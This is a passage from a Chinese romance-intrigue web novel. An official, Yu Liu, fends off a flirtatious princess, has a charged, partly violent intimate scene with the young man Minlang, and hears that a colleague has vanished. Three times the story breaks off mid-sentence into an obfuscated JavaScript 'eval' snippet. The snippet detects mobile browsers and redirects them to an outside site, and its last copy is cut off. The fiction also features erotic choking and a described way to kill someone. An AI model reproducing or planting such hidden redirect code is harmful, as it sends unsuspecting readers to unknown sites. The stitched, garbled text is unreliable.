装模作样又傻模傻样。 “你自己摔的还赖我了?”她问。 “大人应该先喊一声,”他嘟囔了一嘴,朝她看来,试探自己的小心思,“大人不该拉我起来吗?” 未至耳中,已有另一道声音合奏——“师兄不该拉我起来吗?” 玉流怔了一瞬,倏忽笑了。原来她当年在师兄眼中就是这样的一副傻样么? 赖皮坐在地上的小郎君伸手不停摇着,他在无声催她。 小郎君,你可真是学得千层厚的脸皮。 她在笑话他,心却静下来。 若是往日,她同他从非旗鼓相当,今朝,情逢对手,且能一试。 “好。”玉流伸手,嘴角倾出一抹很浅淡的笑意,双眸却是盈盈。 眼如心门,无从察觉的某时某刻,她并不知晓自己的心意,却又无法遮掩自己的心意。 玉流将人拉起,两人站在门檐后,门外斜斜长生的翠竹遮住了一半的光影,素净琉瓦下,浮光掠影中,千头万绪里,当年梦醒时分,抿不出一个所以然来。而如今…… 师兄,可别让我失望。 玉流掀起眼皮,没错过他得逞的笑意,正想说些什么,不远的长廊中,一道女声悠扬调侃。 “哎呀,玉大人可算回来了,真是让我好等,让这位秀色可餐的小郎君好等呐。也就是我了解你,不然要是被别人知道了,就要说你放着屋里佳人不要,跑到外头逍遥快活去了。” “啊,我、我忘了说了,”敏郎慌慌张张,“那位叫什么什么郡主,非要进来等着。” 玉流往廊下看去。廊中清凉,日头不晒,还要护卫打着竹伞。玉流抽着嘴角,搭上敏郎的肩头:“我知道她是谁,你先进屋。” 敏郎瞪圆了眼睛:“哎?” “进去进去,”玉流不由分说将他往屋里推,一边推一边无声喊,“赵颐,出去。” 赵颐伸出耳朵,配合又欠揍:“啊,你说什么,听、不、见。” 三来三回,一个装哑巴,一个装聋子,玉流恼了。本来就心气不顺,回来还要与这个活宝周旋,一时怒从心起:“赵颐,你他娘的脑子有病?” 马上就要被关进屋里的敏郎扣住门框:“大人,能不能,不要说粗口。” “不能,你给我乖乖在里头呆着,还有你们两个,别以为躲在窗户后我就看不见,把窗户给我关上!” 玉流叫停两个死孩子的偷听偷看,转头来找赵颐:“至于你,跟我出来,别当听不见,快点,要逼我动手吗?” “来了来了,真是有够心急的,”赵颐也知不能再摆谱子了,扶着腰从躺椅上站起来,接过护卫递来青绸竹伞,“你也别根杆子似的杵这儿了,去东厨,拿出你的好手艺给我的玉大人烧顿好饭。” 从不把自己当客人,风流多情数年的大殷郡主脚踩莲花步,款款跟上玉流,走至门后,手腕一弯,绸伞倾斜,堪堪挡在两人身侧。 赵颐伸着一双莹白着胭脂的素手,就要勾起玉流的下巴,但被无情拍掉。 “嘶,那么用力做什么,不知道我身娇体弱吗!” “呵,你爹没教过你规矩?说话就站直了,别一副没骨头的样子。” “干嘛呀,摸摸都不行了?我这是关心你,你看你,瘦得连胸都要没了,”赵颐哼唧了一会儿,“我来瞧瞧我的玉大人,这次几日不见,怎么就清瘦成这样了,不是我说,你太瘦了不好看。” 玉流无奈:“郡主殿下,我才病好。” 赵颐凑过来,急急道:“所以我来看你了呀,你真该好好养养了,我这次来给你带了好几箱人参啊,鹿茸啊,牛鞭啊……” “等等,”玉流眼皮跳了好几下,“这是我该吃的吗?” “让你的小郎君吃呗,你和他不是一道的吗,怎么不算呢?嘿,你这什么表情。” “你说我什么表情,”玉流懒得同她讲,“你来看我不如去看安思贤。” “看她做什么,我又不是吃饱了撑的,特地跑去宫里吹阴风啊,”赵颐扬起伞面,为玉流遮住根本不存在的烈阳,“我可是和你站在同一边的。” 玉流盯着她故作真诚的脸,不过片刻就笑出声来:“你若是要找我做事,应该去侯官署等着,顺便能气一气囚哥。现在你跑到我家来,会让我觉得你所求之事,不能让别人知道。” “哈哈。”执伞人抽下伞杆,竹伞架几乎就要挨到乘伞人的头顶。 赵颐贴身靠近,女纨绔的脸上露出几点真心实意:“那不然呢,难道我来第二次是要等着三顾茅庐?你是聪明人,我就直说了,玉流,我哥太蠢了,算给我个人情,你杀了算了。” “你脑子被驴踢了,负负得正了?” “骂我呢,玉流你干嘛这么恶毒。” “废话,年前赵廉做出那样的错事,王爷王妃都放弃了,唯有你,在陛下面前跪了半天,只为留他一命。” 赵颐捂着耳朵:“别说了,那时候年纪小不懂事。” 玉流正眼看她:“几个月过去就懂事了?” “我也不想啊,安家‘珠玉’在前,难道要我傻兮兮地步安思贤的后尘?我可不愿意。我想过了,赵廉半个脑子都是低头盯裤头,所以才会被范有恩轻而易举地骗去做那样的事,这样的一个傻子,活久了迟早会害死我的,我死不如他死,还能让我承个女王爷的名头爽一爽。” 玉流踹开她的闲话,挑出重点:“你也知道了?” “这个也用得很巧妙诶,太好了,说我家的就行了,”赵颐继续,“自安德明出事,赵廉就疯了,没日没夜地闹,死活要逃,我安置在他隔壁院子里的小公子根本睡不着,你是不知道,他们睡不着精气神就不好,这么一来我更睡不好,所以我找章囚要了个好东西,没用多久他就软了,什么都抖了出来。” 赵颐呸了声:“没什么其他的,成事不足败事有余,废物一个。” “那简单,你自己下毒弄残了不就行了。”玉流不想蹚这趟浑水。 “你以为我不想吗,问题是人呢!” “赵廉不是被软禁在家吗?” 赵颐不禁疑惑,舔了舔唇:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627578|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,还不知道?” 玉流:“我该知道什么?” “赵廉逃了。” “什么?” 赵颐:“诸几不在京城就是抓他去了。” 玉流默了默:“府中那么多人看着,都能被他逃出来?” “说不清楚,章囚怀疑有人接应,或许是当初范有恩的手下没有抓干净。” “不可能,我经手的案子,绝不可能会有差池。”玉流在心里补充,国舅案之前的案子。 “那我就不知道了,无所谓,不重要,你知道我是这么一个意思就行。现在,有更重要的,”赵颐凑来,勾手让玉流低下头,话锋瞬间就转了,“唉,你别说,你的那位小郎君可真是长了一张初春含情的桃花脸,真是我见犹怜。” 玉流突然很想把人赶走。她就知道赵颐会这样,真是怕什么来什么。 赵颐自顾自:“真纯呐,一点都不禁逗,我前几日来,看见他的第一眼就忘不了,那时候强迫他梳妆,趁乱摸了一把。” 赵颐吸哈喇子:“你的眼光够绝,怪不得看不上章囚,章囚跟小郎君比起来,简直不堪入目。” 玉流自己都没发觉,眼神已经冷下:“你摸了?” “对啊对啊,”赵颐一无所知,还给她演示了一番,“就这样,唰地一下,脸就摸到了,就是胆子好小,摸一下就吓到了,今日见到我,直接躲到门口去了。” “哎,是不是你太凶了,玉流啊,这么可人的小郎君,你可不要暴殄天物哦。说真的,我们认识时间不长,胜在认识,你有没有什么门路,再给我介绍一个,不求十分像,五六分就够了。” 祸水! 玉流磨着虎牙,她迟早把他那张脸撕了! 心里恨得要死,脸上还算镇静:“怎么,你看上他了?” “我说是的话,”赵颐问,“你能给吗?” 玉流:“你还真敢认啊。” “这有什么不敢的,你也知道的,有容乃大,心怀天下,我这个郡主没什么别的,就是见不得漂亮的小公子流落在外受苦。” “放心,我不会亏待他的,”赵颐甩起伞杆,抵在锁骨处,朝里头轻声呼唤,“来来来,那位躲在里头偷听的小郎君,你家大人把你唔——” 赵颐扒开她:“玉流你干嘛!” “我没答应。” “怎么,不舍得?” “不是,你是郡主,而他只是一个乡下孤儿,不懂皇家的那些繁琐规矩,他进不了你的郡主府。” “哟,你什么时候说话也这么拐弯抹角了,真是看不见自己的脸就能说瞎话,瞧这眼睛,这嘴巴,酸得都要扭曲了。玉流啊,你什么时候吃醋还要裹一层面粉装白净了?” “胡说,我没有,”玉流矢口否认,而后扭过脸,又说了一次,“我……没有!假的,是假的。” “好了好了,知道你没有,我就开个玩笑,别当真嘛,你的东西,你的,你的,我懂,”赵颐一副过来人的模样,边说边眨眼,“以后你有什么不懂的地方,可以来请教,我懂。” “滚。” “真凶啊,小心以后把人吓跑了。” 玉流忍着不把她直打飞的冲动,再次重申:“赵颐,滚。” “滚滚滚,我滚还不行吗,我护卫借你用半天啊,家厨当好了记得放他回来。”赵颐说完,又往里头探了探。偷偷打开的一道缝隙里,似乎能从衣角中窥出主人的身姿。 赵颐的恶趣涌上来,猥琐地招手:“小郎君,如果在玉大人这里呆不下去,可以来郡主府找我呦,我有花名,也有花心,我会为你花心思的,不像玉流这根木头,一点经验都没有哎呦我去——” “啪”的一声,玉流毫不犹豫地进门关门,再朝着门道:“滚。” 62. 有两意 晌午时分,红阳高悬。 赵颐的护卫厨子有点手艺,奈何她作为食客不怎么给面子。当然,这种不知好歹不能被辛苦吃了一两个时辰油烟的厨子看出来。 嗓子依旧不太舒服,玉流清清喉咙,客气地请他离府:“替我向郡主传达一句谢意,顺便告诉她,那件事我会考虑的。” 玉流转身回来,敏郎慌忙摆正身子,安静地低头吃饭,只是眼尾的余光一下一下,尽数落在玉流的脸上,根本无心吃饭。 玉流就当作看不出,满桌的珍馐中,无视鹿茸牛鞭炮制的佳肴,舀了勺清淡的白汤,胃里有东西了就回屋了。 她席地而坐,对着半开小窗,闭着眼仰面。白天光淡云影穿过细小的绒毛,敷在这一层薄薄的脸皮之上。 热光吻过面庞,血依旧是冷的。 极短的静思仍不足以解她心惑。 本该稳住的心绪因赵颐的到来而乱作一团。 心如一池春水摇,他又坐得那样近,吃一口就要看她一眼,让她完全不能像过去那样沉稳安定,以至于在某个瞬间,她都要怀疑自己是不是猜错了,如同两人的性情,怎么可能,怎么可能…… 玉流睁开眼,苦笑之后,半是崩溃地捂住了脸。这日子……真他娘的操蛋! “不要站在门口,”玉流听见门外的动静,颇感疲累,“要进来就进来,我没睡。” “那、那我进来了。” 屋里的人芙蓉脸无情眼,冷峭峻丽之余溢流肃杀之意。他的心陡然不安起来。 只是转眼,令他魂牵梦萦的人笑了起来,透着几分真心,招手让他过去:“来干嘛?” 敏郎靠着床边坐下,思量着审慎开口:“大人……在生气。” “我生气?我生什么气?” “没有吗,真的没有吗?” 他太敏锐了,眸光滚烫,让玉流有些无措。嘴里的话绕过舌尖,她选择将难题丢给始作俑者:“算有,赵颐说她摸了你?” “啊?” “啊什么,你就说有没有。” 敏郎近在眼前的眼睛上下轻颤,压根没想到她会为这件事发难:“她应、应该不是故意的。” “哈,”玉流冷笑,“你的意思是我在无理取闹?” 这走向让敏郎措手不及:“啊?” “不不不,我不是这个意思,”他连忙解释,“是我,我没留意,是我的错。” “所以你现在是在为她说话吗?” 短暂的不解后,刹那的灵光福至心灵,他的暗喜都快藏不住了:“大人,嗯,是在吃错吗?” “吃你个头,”玉流今日听不得醋这个字,磨着牙道,“你都听到了吧。” “我该听见什么?” 又来了,又装这么无辜单纯。 “别给我演戏,赵颐嗓门那么大,我知道你听见了。刚才吃饭的时候看来看去,这时候又过来,不就是为了这件事吗?” “好吧,大人……”他支支吾吾,心底的委屈登时浮上来,“真的是要把我,嗯,送出去吗?” 玉流没有半分犹豫:“我在考虑。” “什、什么!”这是该从她口里说出的话吗! 玉流撑着脸,道:“她看上你了。” 敏郎嘟哝:“那又怎样。” 玉流睨了他一眼:“她是郡主,金枝玉叶,无上尊容,平时住的是大宅邸,出门坐的是好轿子,穿衣梳洗,一日三餐,都有仆人伺候,跟着她能享福,跟我一起,只能沦落过这样的苦日子。” “就是你的兄弟会多一些。”玉流说着,没忍住笑了声来。 “可、可是大人前几天才说过喜欢我!” “我醉了,”玉流眼皮都不带抖的,”我忘了。” “我没忘!说出去的话就是泼出去的水!”敏郎急得说得飞快。 玉流挑眉:“怎么,你想我记得那晚上发生的事情?” “……那大人还记得吗?” “不好说,累一会儿醉一会儿的,我记不清了。” “所以,嗯,大人是因为、因为上次我做得不好吗?” 玉流一时没反应过来:“上次,你做了什么?” 敏郎的眼眶红了,小珍珠就要掉下来,可怜呜咽:“病、病前的那一晚。” 一些零散的记忆涌上来,玉流的脸霎时难看起来。 “你还敢提这件事?” “真的就因为这个吗?” 怎么可能,真的要命……她要怎么和自己说,她对他的师兄求欢被拒。 玉流的默然在他眼中变成了默认:“那我们现在,要不要补回去,毕竟心意相通了呢。” 小郎君如玉的脸上显露羞涩,羞涩中又带着点不怀好意,甚至还有些不可言说的期待。 “敏郎,这是白天。”玉流指着外头明晃晃的太阳。 “天黑就行了吗?” “你在说什么呢?” 敏郎突然起身,扯出烟雀灰的褥单,四角铺开,兜住鼓鼓的风。他松开手,薄薄的一层如黑灰云雾,慢慢降下来。 在她的惊讶中,娇羞的新娘子掀起盖头,扭捏地挨过来:“这样,就是天黑了。” 一阵的难言后,玉流问:“你这是在心急吗?” “是。”他倾身压来,咫尺间呼吸都是紧贴的,如交尾的细长白蛇无声地缠绵,冷血的兽用落着莹莹冷光的蛇身蒸腾那点微末热意。 逼仄的黑夜中,狭窄的空间里,他的压迫极强,玉流有些燥:“你……” 他又仰起那张不谙世事的脸:“我……什么?” 能有什么,自然是你想撕开我的伪装吗? 心渐渐揪紧。 那怎么行呢?我都还没撕开你的假面具。 双双沉默相望,玉流在一霎的恍惚间,似乎理解了他当初为什么要如此煞费苦心地归来。 他们之间,从来都不是能以寻常的相处之道走下去的关系。 她原以为只有她有病,如今看来,他也一样。 褥单中的呼吸起起伏伏,犹如狂风中的丘陵山谷,暴雨晴天,瞬息更改。玉流抓住了褥单的一角,揉成一团。 既已黑夜,死鬼成活人,活人也该当一次死鬼了。 玉流侧身,矮他一个头的大人强硬地扯下小郎君的领子。 唇贴上唇,她说:“张嘴。” 怎么还是有点淡淡的苦味,算了,不管了。 气息渐渐稀薄,泄愤一般的啃咬,尖牙毫不犹豫地咬下唇上的一点皮肉,而后舔着,轻轻安抚。 锈色在两人口中蔓延,她抓住了他的手腕,放在他的心口:“我想确认。” 玉流难得清醒的主动,让他一阵的晕乎:“确认什么?” “确认……”你还活着吗? 玉流笑笑:“没什么。” 在几乎没有空隙的两道身躯间,手就这样往上游走,她抚上了他的脸,就在他以为她要继续往上的时候,玉流一个转弯,移向了耳后。 “大人,”他拦下她作乱的手,“不要乱摸。” 玉流盯着自己的被抓住的手,不赞成:“小郎君,不摸怎么做?” 他的脸因为她直白的话语瞬间升红。 玉流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659547|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却离开了他,没头没尾地问了一句:“小郎君,你有没有想过,会被我杀死?” 指尖微动,敏郎的脸躲在黑暗中,须臾的沉寂后,他才接话:“大人,为什么要这么问。” 玉流的声音如同光影一般明明灭灭:“不知道,想到了就这么问了。” 他低下脸,不知看向了何处:“想过的。” “如果我现在杀了你,你会恨我吗?” “如果大人要杀我,我愿意去死的。” ——如果师妹要杀我,我愿意去死的。 咔嚓,心瓷裂开一片小小的口子,蛛丝般的裂缝以肉眼不可见的速度蔓延。 想不出的缘由,等不来的答案。佛骗我,心有不甘,情却相愿。 玉流扯掉这层薄薄的黑夜。 窥入的天光刺伤眼睛,趁他闭眼,玉流拿出玉骰子弹进花几的青瓷瓶中,抽下腰带绑住了他的双手,抬过头顶。 敏郎瞳孔震颤:“这、这、这——” 玉流那张看不出情绪的脸上,杀意与爱意如影子晦暗浮动。她依旧不会承认,闻君有两意,生或死,皆为一人。 敏郎试图厘清:“这是,在做什么?” “我在想要不要杀你,不要多问,不然我把你的嘴巴也堵上,为什么?没有为什么。我向来不讲道理的,你乖一点,不要乱动。” 似乎是被她震慑,他真的不敢动了。 玉流从柜中拿出一条未用过的锦缎,珠绣的黑金,蒙上他的眼睛:“杀不杀,怎么杀,都由着我的心意来,你不准有意见,一点都不准有。” 彻底暗下的视野,他的心口猛地战栗:“……好。” 日光铺长的影子一高一矮终于相融…… 玉流喘着气跪坐在他的腿上,很不舒服的姿势,她忍下了。 以后再清算,你,还有帮你的那群骗子。 她低着头,抬起他的下巴,她在今日也当了一次吃人骗人的恶狼。他依然无知无觉,而她的眉眼染上狠厉,眼眶却悄无声息地红了。 不知是不是汗的水珠滚落,落在黑锦缎上,水雾晕开的同时,他被掐住了咽喉,窒息席卷,弓起后腰,双瞳放大。 还是恨的 但也是爱的。 湿热的额头贴上他淡红的脸颊,水意朦胧盖住了幽黑的眼眸,如散沙的瞳仁,呼出一团灼热的气息。 她没能停留太久,直起腰身,放过了他的咽喉,也解开了束缚的腰带。 骤然放松的身躯,首要之事不是劫后余生的自喜。他急促地呼着气,抓瞎一般摸到她的手,十指与之紧扣,心才有了落地的实感。 热汗流下,眼睫汗涔涔地打湿黑锦,模模糊糊的眼前,锦缎湿了一层,眼眸溺水,唇上也沾了一层的珠光,晶莹剔透。 玉流用还属于自己的左手捻着那点水花,扣进他被咬破的唇上:“血是苦的,这个呢?我让你激浊扬清,你清到哪里去了?” 敏郎无力地指责:“……过分。” 玉流从不以为耻:“我就是这样的过分。” 敏郎喉头滚动,生涩道:“这样,很好玩吗?” 玉流敛眉:“很好玩,怎么会不好玩呢。” 她往后坐了坐,呼吸放缓,高高在上的人低下头颅,靠上他的胸膛。再一次听见熟悉的心跳,跨过万山千水,寻得阴阳再遇。 也曾想当作是神仙的恩赐,此刻听来,更像是恶鬼的怜悯,怜悯我一个不死的人,再去祸害活着的人。 耳中旋绕着胸腔里的那颗心,一滴泪顺着嘴角滑落,玉流笑着,吻上他的心口,无声继续:“师兄。” 63. 过病气 玉流懒散地靠在门上,双手捂着脸,竭力压制嗓子里的笑声。 肩膀抖得厉害,她真是好久没这么放肆灿笑过了,眼泪都要笑出来了。 玉流笑了好久,笑够了才推门进去。 这才几天,就有一些天意的风水轮流转。 玉流走至床边坐下,拢起披在肩上的长发,低下腰,温水洗净的手背来回试量他和自己的温度,几次之后,得出一个结论:“敏郎,你真的病了。” 这么幸灾乐祸,还尽说显而易见的话,躺在床上的敏郎眼睛都要睁不开了:“我、我知道。” 他缓了会儿,扭过脸,呼出干热的浊气:“所以请大人离我……远一点。” “你说的是,”玉流点头,真的站直退后走远了些,“经此,我认为,你的身体不好。” “咳……大人你一定要这么说吗,难道不是因为你——” “不是,”玉流是不会承认是自己把病气过给他的,“在做之前,我的病已经好了。” 病得浑身酸软的人都要气得从床上跳起来:“大人咳咳,做人不能这样的!” 玉流摸着耳朵:“听不见。” 敏郎:“……” “不、不带这样的。” 不死心的敏郎软着声音,还想辩驳,被宝儿的敲门声打断。 宝儿:“姐姐,孙郎中来了。” “好,我知道了,”玉流同宝儿说完,将被褥往上挪了挪,不顾他燥红的脸,盖在他的脖颈下,暗含深意道,“不想被别人看见的话就乖乖躺着,不要乱动。” 查看再无纰漏后,她出门。 急急赶来的孙郎中朝她行礼:“玉大人。” 玉流扶起他:“劳烦您老再跑一趟。” “玉大人客气了,”孙郎中打量玉流的脸色,小心问话,“您是好透了?” “是,我完全好了。”玉流摸了摸嗓子,连这里都好了。 “那这一回是?” “是那位弱不禁风的小郎君病了。虽然您上次送来的药还有几副,但我和他到底不大一样,所以请您过来看看,重新开个药方好了。” 孙郎中点头:“应该的,应该的。” 两人进屋,敏郎还醒着,比当时昏迷的玉流好多了。孙郎中问一句他勉强能答一句,算是个合格的病人。 只是孙郎中无心多说了一嘴:“小郎君倒也不用遮得这么严实,闷太久也不好的。” “没、没事,我冷。”说着,他还往被窝里钻了点,只露出一张染着殷红的脸。 玉流抵住唇闷笑,也不难为他:“孙叔,我们出去说吧。” 孙郎中抱着药箱跟着玉流走到廊下:“小郎君比玉大人前几日的情况要好,大人不必忧心。小老儿先回医馆,药抓好了就让药童尽快给大人送过来。” “多谢,”玉流送孙郎中跨出宅子的门槛,平静的眼眸忽地略过一丝波澜,她出声叫住准备提速小跑的郎中,“孙叔,我有个不情之请……” 一刻钟后,玉流将半凉的药汤递给敏郎:“自己喝。” 敏郎强撑着支起身子,闷太久了,额头热出一层密汗,额前鬓角的碎发软湿地贴着脸:“没、没力气。” 才说完,人就软趴趴地滑了下去。 玉流回绝:“闻着就太苦了,我不会喂你的,快点,不然我直接灌了。” “噢。”不能说她无情,所以只好不情不愿地坐起来,接过药碗。 玉流还算有点人情味,用帕子给他擦拭去脸上不断渗出的汗滴:“喝了,我盯着你喝完,不准和我说……” 敏郎含着碗:“说什么?” ……说苦。 这个字眼顺着喉咙滚到舌尖,被她及时吞下。差点忘了,只有她才会嫌药苦。 玉流摇头:“没什么,快点喝,早点好。” 盯着病人几口把药全部喝完,玉流拿回碗,放在旁边的矮柜上。 “今天,嗯,不忙吗?”他看她没急着离开,含糊地问。 生病的小狗眼神黏黏糊糊的,玉流笑着看他:“忙,但是你比较重要。” 不管是真是假,这种哄人的情话他向来都受用:“真的吗,太好了。” 一如前几天的她一样,药效上来,他的眼皮开始沉垂,本就疲累的身心让他的头脑转得慢了些,明明身体比她好,明明病得比她轻,却比她更快睡着。 无声无息的,不知何时起,床上的人已经睡颜安然。玉流俯身,凑近听了一会儿他平稳的呼吸,卷起了厚重的被褥。 迎面的热气扑来,玉流的手落在他的腰腹。 宽衣解带探进去,冰冷的手指按上热烫的肌肤,一步一步地描摹。腰腹光洁细嫩,完全看不出这里曾经有过伤口,甚至连细小的瘢痕都没有。 彼时被遮住眼睛,他依然谨慎,她不能在一处停顿太久。 于是她说话分散他的注意。 她那时候和他说什么来着? 哦,她喘着,用发抖的气音和他说,她当上外侯官时,接手的一个案子,是个骗情案。 一个不知从哪里冒出的小女郎,春水灵灵的一张脸,能言会道的一张嘴,伙同青楼妓坊里的戏子,演了好几出死遁的戏码,仙人跳骗空了京城好几个纨绔公子的家底。 几户有名有姓,有头有脸的人家气不过,又不能报官弄得人尽皆知,只能私下求见章囚求个说法。 章囚也烦,转头就把这个说难不难,说易不易的烫手山芋丢给她这个刚入职的边缘女侯官。 “你知道我找到那个小骗子之后和她说了什么吗?我和她说骗钱哪有杀人来得痛快,”她按在他的肋骨上,“就说此处,骨头断了的话,挑个好一点的角度拧一下,会捅进肺里,像一个漏了的纸皮袋子,一点一点把气漏光,会死得很痛苦。” “骗子,就该死得很痛苦。” 可惜他喘得比她还厉害,被限制的身躯在颤,被捆住的手腕爆出青筋,她说的话他似乎全都没有听见。 “大人,呃……哈,大人刚才说了什么?” 一肚子的怨情打上棉花,接着就反弹回了自己身上。玉流无奈:“没有,我没说什么。” 她总不能说她在他身上,再也没能找到过去的一点痕迹。那些,她对他的记忆之痕。 连手腕也是。 拿腰带绑住的时候她就发现了,那两个尖尖的淡粉圆点没有了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不能这么说,”玉流翘起眼尾,那颗红痣都生动了点,先前嘴硬的人这会儿大方认了,“不是他的错,他是被我过了病气。” 本就是有心的调侃,章囚没想到玉流居然相护,一口气被堵住,静了一会儿才继续:“那什么,这几日城隍庙那边挺热闹的,你要不要让这两个孩子出去逛逛?” 到底是一年来的默契,玉流一听就领会了他的意思,回头看着院子里的两个孩子,他们在摆弄她过去随手做的小玩意。 玉流大声道:“你俩别整日呆在家里,出去玩吧,现在的天气,正适合你们这个岁数的瞎跑。” 宝儿啪地丢下手里的竹弓,眼巴巴地看过来:“姐姐也一起去吗?” 玉流:“不。” 宝儿立即失去了兴趣,捡起竹弓继续玩:“那我不去了。” 玉流啧啧,这孩子怎么一点眼力见都没有:“你留下做什么,难道你要照顾我们这两个身体不好的老人家?” 宝儿嘟嘴:“姐姐不去就我去,那多没意思。” 玉流心道她去了才会没意思。 叫不动宝儿,玉流直接叫小白:“你带着她,知道了吗?” 小白规矩地点头:“好。” 章囚指着跟着来的外侯官:“你领这两位小朋友出去玩,记得看牢些。” 外侯官:“是,大人。” 一个孩子被另一个孩子推搡出门,后一个孩子路过玉流身侧时被扣住肩膀:“小白,路上人多,带着宝儿跟紧外侯官,不要出岔子。” 遣送走了无关的人,玉流收回眼,低声正经道:“囚哥,你找我,到底有何事?” 64. 人失踪 “诸几出事了。” “他不是去抓赵廉了吗,那个没用的软蛋子还能连累诸哥?” 章囚不用猜就知道是谁告知玉流此事的:“我原也以为这只是一桩小事,能够不动声色地摆平,但昨日地方的外侯官快马加鞭将密报送来后我才得知他们两个出了事。” 章囚顿了顿:“拜赵廉所赐,诸几失踪了。他们二人消失在邳州附近,当地外侯官调查了三日,查到诸几最后被人看见的地点,是在……回天城。” 玉流的脸顿失血色:“什么!” “你也知道那一块邪得很,但这还只是其一,”章囚从袖中拿出一方小小的锦盒递给她,“其二是这根连同密报一齐送至京城的断指。” 玉流打开,里头盛放着的枯黑断指截面干净利落。 章囚让她拿起来。 只一眼,玉流仿佛被人从头顶浇了一盆冰水,整个人在非数九寒天的春末瞬间冻结。 ——手指的一侧用黑墨黥了四个小字:无涯贼首。 章囚慢慢道:“指侧黥的字太小了,无法同安德明尸身上的字迹比对,我也拿不准是不是出自同一人之手,不过,想来能知晓此事的屈指可数,追究是不是同一人没什么意义。” “是没有任何意义,”玉流才好的嗓子喑哑不堪,“禀报陛下了吗?” “没有。” 玉流讶然抬头:“囚哥你……?” 章囚知道她担忧这不符合规矩,会令他引火上身。他轻拍玉流的肩膀,安慰道:“放心,此事我会禀报陛下,我只是在去皇宫前先来找你,来问问你的意思。” 玉流理好情绪,放回断指合上锦盒交还于他:“我去找诸哥便是。” 章囚放好锦盒,无奈道:“我就猜到你会这么说。” 玉流笑笑:“囚哥,我知道你是看出来了才过来找我的。前不久京城才将国舅案公之于天下,转头这‘无涯贼首’又被送了回来,这个节点太微妙了。” 章囚一脸肃然道:“正因为看出来了,所以先得让你知情,依我来看,这样的针对太明目张胆,算得上是指名道姓,阿玉,我的建议是不要去。” 玉流有不同的看法:“囚哥,你可以当作这是巧合,或者是挑衅,诱饵,但不管是不是,只能我去。你什么时候进宫?” 章囚静默,即使他不愿,也不得不承认玉流是对的。他叹了口气:“我再拖半日,明日再去。想来诸几活到这个岁数,不会这么愚蠢,他有自保的法子。这根断指本就不好说是谁的,所以我在想,不知道赵廉是不是还活着。” 玉流闻言,绷紧的神经松了点:“囚哥已经有思路了?” 章囚点头,侧身同她并排而立,上方的斑驳竹影落下,打在脸上,神思不清:“赵颐那张嘴向来藏不住事儿,她应该和你说过了吧,我怀疑京城中有人帮赵廉逃跑。他的失踪,诸几的失踪,像是因果的延续,只是这些因果,落在了你身上而已。” “赵廉为引,”玉流听懂了他的未尽之意,“无涯贼首为令,这案子,还没完。” 安德明,赵廉,范有恩,鄞州城……刹那间,玉流像是被打通了堵塞的关节,她掀起眼皮,沉声开口:“囚哥,你派个心腹去一趟鄞州。” “鄞州,”章囚拧眉,“你真觉得那案子没处理干净?” “不能说是没处理好。我入朝为官来,除了这一次去崇州,离开京城的也就只有年前为抓范有恩的那次。如果以无涯贼首为号令的这群人是冲我来的,那在连日暴雨的鄞州城内,我大概真的遗漏了些什么。” “既然如此我派人去暗查,”章囚转而问,“你打算什么时候出发?” “等陛下召见完,我还有点琐事,让我算算……明日下午吧,我会尽快的,那么……”消停了几日的脑子回归了正途,玉流思绪翻飞,不多时便想好了对策。 玉流端正脸色:“囚哥,你在城里,还需帮我做三件事。” “第一件,你对胡平这人了解如何,能不能和他说说,再卖个人情给我,让他帮个忙,照看照看安思贤?” “你说谁?”章囚眼眸缩紧,略带震惊地看向她。 “赵颐说赵廉因安德明之死而疯癫……”话虽如此说,但实际上,她有必须去回天城的另一个原因。 那日在安国公面前失态至此,是她有意为之。 她不傻,就凭那么几句不痛不痒的话,还不至于气得动手。输了就是输了,技不如人她认,要找面子,找的也该是无涯贼首。 真正让她动怒的是外侯官没有听见的那几句。 安国公蠕动着嘴皮,轻又清:“你很像你的母亲,可惜了,却学得你父亲一顶一的狠毒心肠,比你老子还忘恩负义。” 彼时玉流尚能克制惊愕之下的怒气:“你说什么?” “嘘,”安国公伸手按在薄得快没了的嘴唇上,扬起做作的讥讽,“要是林青霭知道你长成了现在这样,你说——她会不会后悔生下你?” 玉流再没能忍下去。 被她掐着喉咙快要窒息而亡了,不怕死的老东西还在说:“玉流,我听说西河巷那块有家酒坊的酒不错,有外头江湖的味道,得空了不妨去尝尝。” 玉流怒极反笑:“尝个屁!” ——这才是外侯官进门前老东西同她之间完整的经过。 离开敬国寺不久,她就想清楚了,他是故意激怒她的,这些莫名其妙的话也是特地说给她听的。 她完全可以不去理会这听起来像是包藏祸心的暗示,可偏偏,他提到了不该从他嘴里说出来的人,以至于让她想起初来乍到遇见安思贤的那日。 这是一段写进慕容鸠的本子里都会被说俗气的初相识——她在大街上救下了被失控的骏马甩飞的窈窕淑女。 这位差点命丧马蹄的贵女期期艾艾,抓着她不肯松手,软着声音想请她送她回府。 俗话说得好,好人做到底,送佛送到西,她也想多熟悉熟悉京城,便答应了她的请求。然而这一送,就结下了她同安国公的恩怨。 她忘不了温和有礼的国公爷在见到她的第一眼时那副活见鬼的模样,更忘不了随之而来的那句“有娘生没爹养”的恶语相向。 她过去也和朝中同僚一样,以为安国公是因为看不起她的江湖出身故而对她屡次刁难,如今冷静下来想 